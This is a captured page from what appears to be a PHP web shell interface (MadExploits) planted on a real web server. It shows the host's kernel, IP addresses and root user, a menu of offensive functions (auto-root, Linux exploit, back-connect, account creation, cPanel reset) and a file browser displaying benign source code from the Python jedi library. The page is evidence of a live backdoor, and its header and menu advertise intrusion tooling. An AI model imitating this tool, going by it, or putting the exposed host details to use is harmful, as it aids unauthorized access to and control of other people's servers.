Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
jedi /
evaluate /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
compiled
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
__init__.py
17.11
KB
-rw-r--r--
analysis.py
7.81
KB
-rw-r--r--
arguments.py
11.23
KB
-rw-r--r--
base_context.py
9.42
KB
-rw-r--r--
cache.py
2.43
KB
-rw-r--r--
docstrings.py
10.46
KB
-rw-r--r--
dynamic.py
8.43
KB
-rw-r--r--
filters.py
15.69
KB
-rw-r--r--
finder.py
11.59
KB
-rw-r--r--
flow_analysis.py
4.21
KB
-rw-r--r--
helpers.py
6.88
KB
-rw-r--r--
imports.py
21.75
KB
-rw-r--r--
jedi_typing.py
2.6
KB
-rw-r--r--
lazy_context.py
1.63
KB
-rw-r--r--
param.py
7.74
KB
-rw-r--r--
parser_cache.py
172
B
-rw-r--r--
pep0484.py
11.4
KB
-rw-r--r--
recursion.py
4.17
KB
-rw-r--r--
stdlib.py
11.01
KB
-rw-r--r--
syntax_tree.py
25.63
KB
-rw-r--r--
sys_path.py
8
KB
-rw-r--r--
usages.py
2.33
KB
-rw-r--r--
utils.py
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : recursion.py
""" Recursions are the recipe of |jedi| to conquer Python code. However, someone must stop recursions going mad. Some settings are here to make |jedi| stop at the right time. You can read more about them :ref:`here <settings-recursion>`. Next to :mod:`jedi.evaluate.cache` this module also makes |jedi| not thread-safe. Why? ``execution_recursion_decorator`` uses class variables to count the function calls. .. _settings-recursion: Settings ~~~~~~~~~~ Recursion settings are important if you don't want extremly recursive python code to go absolutely crazy. The default values are based on experiments while completing the |jedi| library itself (inception!). But I don't think there's any other Python library that uses recursion in a similarly extreme way. Completion should also be fast and therefore the quality might not always be maximal. .. autodata:: recursion_limit .. autodata:: total_function_execution_limit .. autodata:: per_function_execution_limit .. autodata:: per_function_recursion_limit """ from contextlib import contextmanager from jedi import debug from jedi.evaluate.base_context import NO_CONTEXTS recursion_limit = 15 """ Like ``sys.getrecursionlimit()``, just for |jedi|. """ total_function_execution_limit = 200 """ This is a hard limit of how many non-builtin functions can be executed. """ per_function_execution_limit = 6 """ The maximal amount of times a specific function may be executed. """ per_function_recursion_limit = 2 """ A function may not be executed more than this number of times recursively. """ class RecursionDetector(object): def __init__(self): self.pushed_nodes = [] @contextmanager def execution_allowed(evaluator, node): """ A decorator to detect recursions in statements. In a recursion a statement at the same place, in the same module may not be executed two times. """ pushed_nodes = evaluator.recursion_detector.pushed_nodes if node in pushed_nodes: debug.warning('catched stmt recursion: %s @%s', node, getattr(node, 'start_pos', None)) yield False else: try: pushed_nodes.append(node) yield True finally: pushed_nodes.pop() def execution_recursion_decorator(default=NO_CONTEXTS): def decorator(func): def wrapper(self, **kwargs): detector = self.evaluator.execution_recursion_detector allowed = detector.push_execution(self) try: if allowed: result = default else: result = func(self, **kwargs) finally: detector.pop_execution() return result return wrapper return decorator class ExecutionRecursionDetector(object): """ Catches recursions of executions. """ def __init__(self, evaluator): self._evaluator = evaluator self._recursion_level = 0 self._parent_execution_funcs = [] self._funcdef_execution_counts = {} self._execution_count = 0 def pop_execution(self): self._parent_execution_funcs.pop() self._recursion_level -= 1 def push_execution(self, execution): funcdef = execution.tree_node # These two will be undone in pop_execution. self._recursion_level += 1 self._parent_execution_funcs.append(funcdef) module = execution.get_root_context() if module == self._evaluator.builtins_module: # We have control over builtins so we know they are not recursing # like crazy. Therefore we just let them execute always, because # they usually just help a lot with getting good results. return False if self._recursion_level > recursion_limit: return True if self._execution_count >= total_function_execution_limit: return True self._execution_count += 1 if self._funcdef_execution_counts.setdefault(funcdef, 0) >= per_function_execution_limit: return True self._funcdef_execution_counts[funcdef] += 1 if self._parent_execution_funcs.count(funcdef) > per_function_recursion_limit: return True return False
Close